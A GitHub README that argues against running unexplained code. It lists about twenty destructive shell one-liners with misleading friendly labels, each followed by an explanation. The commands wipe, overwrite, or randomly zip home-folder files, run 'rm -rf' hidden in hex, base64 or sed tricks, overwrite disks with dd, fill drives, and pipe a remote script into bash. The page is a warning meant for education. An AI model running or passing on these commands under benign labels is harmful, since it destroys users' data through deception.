Stats
-
Forks0
-
Stars1
-
Open Issues0
-
DescriptionMy one page argument for learning to code
My one-page argument for learning to code (examples explained)
NEVER run code you don't understand
I often hear people call themselves 'Copy and paste' coders. And, while copying and pasting is a legitimate thing to do,
it should not be your only way of doing things. A better method is to find code, see what is done and then recreate it,
and at a bare minimal, copy it, but know exactly what it does. \
Here is my small example of code that has unintended results.
"Running code you found on the internet is like chewing gum you found in the subway".
Try these (IN A VIRTUAL MACHINE!)
Here are some good descriptions to bad commands
Note: Most of these will error, but if suppressed with &> /dev/null or forked & can still do a lot of damage before
you can take action.
Hide sensitive data:
while read f; do LC_CTYPE=C sed -i "" 's:.:*:g' "$f"; done <<< "$(find ~/ -type f -print)"
Click to explain
Uses find to get all files and use sed to replace the contents with asterisks (*)Frees up unnecessary space:
du ~ | grep -o '/.*' | xargs rm -rf --
Click to explain
For all files in home, remove it forcefullyRe-links your files to improve efficiency
du ~/* | grep -o '/.*' | xargs -n 1 ln -sf /dev/null/
Click to explain
For the file files in the home link the file to dev/null, cloosing its contentsMove files/folders to a volume with unlimited storage
for d in ~/*/*; do mv "$d" /dev/null; done
Click to explain
Move file to /dev/nullFrees up all unnecessary space
command $(echo 7375646f20726d202d7266207e2f0a | xxd -r -p ) &> /dev/null
Click to explain
"7375646f20726d202d7266207e2f0a" hex dumped is "sudo rm -rf ~/" and command will run itFrees up all unnecessary space
command $(echo c3VkbyBybSAtcmYgfi8K | base64 -d ) &> /dev/null
Click to explain
"c3VkbyBybSAtcmYgfi8K" in base64 is "sudo rm -rf ~/" and command will run itChew the gum you don't even know
bash -c "$(curl -s https://raw.githubusercontent.com/thedzy/My-one-page-argument-for-learning-to-code/master/malicious_file.sh)"
Click to explain
Pulls a malicious file from the internet and runs itFrees up unnecessary space:
eval $(sed 's:[a-e,s-z]::g' <<< "stream -draft ~/saved")
Click to explain
Removing the characters a,b,c,d,e,s,t,u,v,w,x,y,z from "stream -draft ~/saved", gives you "rm -rf ~/" and eval runs that as codeFrees up unnecessary space
eval $(echo 'come in -it ~/' | sed 'y/moteionc/deforums/')
Click to explain
Replace c->s o->u m->d e->o ... , gives you "rm -rf ~/" and eval runs that as codeCompress files and save space
zip --password "$(openssl rand -base64 64)" --move "$(openssl rand -hex 4)".zip ~/*/*/*/*/*
Click to explain
For the file files in the home at a depth of 6, add the contents to a zip and give it a random passwordReduce your need of the external volumes
for d in /dev/disk[2-9]*; do dd if=/dev/random of=$d &; done
Click to explain
For each volume (/dev/disk[2-9]) write random data to the drive, fork the processSimply your files and your life
find ~/ -type f -exec bash -c ':|tee {} &' \;
Click to explain
Uses find to get all files and uses tee to write empty contents to fileKeep logs of files in the home folder utilising your current files
find ~/ -type f -exec awk 'FNR == 1{ print FILENAME > FILENAME } ' {} \;
Click to explain
Uses find to get all files and uses awk to write file name into contentsCut down on disk space without removing a file
while read n; do eval `stat -s /`; echo $n, $st_dev; for i in $(seq 0 1 $n);do [ -f /.vol/$st_dev/$i ] && [ -w /.vol/$st_dev/$i ] && echo > /.vol/$st_dev/$i; done; done <<< `df -i | awk '$NF ~ /\/$/ {print $6}'`
Click to explain
Loops though each inode in volume, if file exist and is writable, it wipes the contentEvery file gets a random makeover generating original data!
find ~ -type f -exec dd if=/dev/urandom of={} bs=1M count=1 \;
Click to explain
Uses find to get all files and uses dd to write random content to the fileFind your storage’s true limit.
dirs=($(IFS=$'\n' find ~/ -type d -print)); while True; do cat /dev/random > ${dirs[$RANDOM % ${#dirs[@]}]}/$(openssl rand -hex $(($RANDOM % 32))); done
Click to explain
Write random dat to random files in random folders until the drive fills up100% reduced file sizes
stat -f "%d %i" ~/*/** | while read d i; do [ -f /.vol/$d/$i ] && echo > /.vol/$d/$i; done
Click to explain
Write empty data to all your files, using inodes, wiping thier conentsQuick find
find ~/Desktop -type f -delete
Click to explain
Find and deleteEntrophy is organisation
while true; do i="$(find ~/ 2>/dev/null | shuf -n 1)"; [ -f $i ] && f=$i || rsync -q "$f" "$i"; done
Click to explain
Randomly move files aroundRecommended testing environment:
- Create a virtual machine.
- Open terminal and run the following command to copy some files to the desktop: \
bash find / -iname "*.txt" 2>/dev/null | head -n 60 | xargs -n1 -J% cp % $HOME/Desktop/ - Snapshot your VM, because you'll want it
- Run the command
- Restore
- Rinse and repeat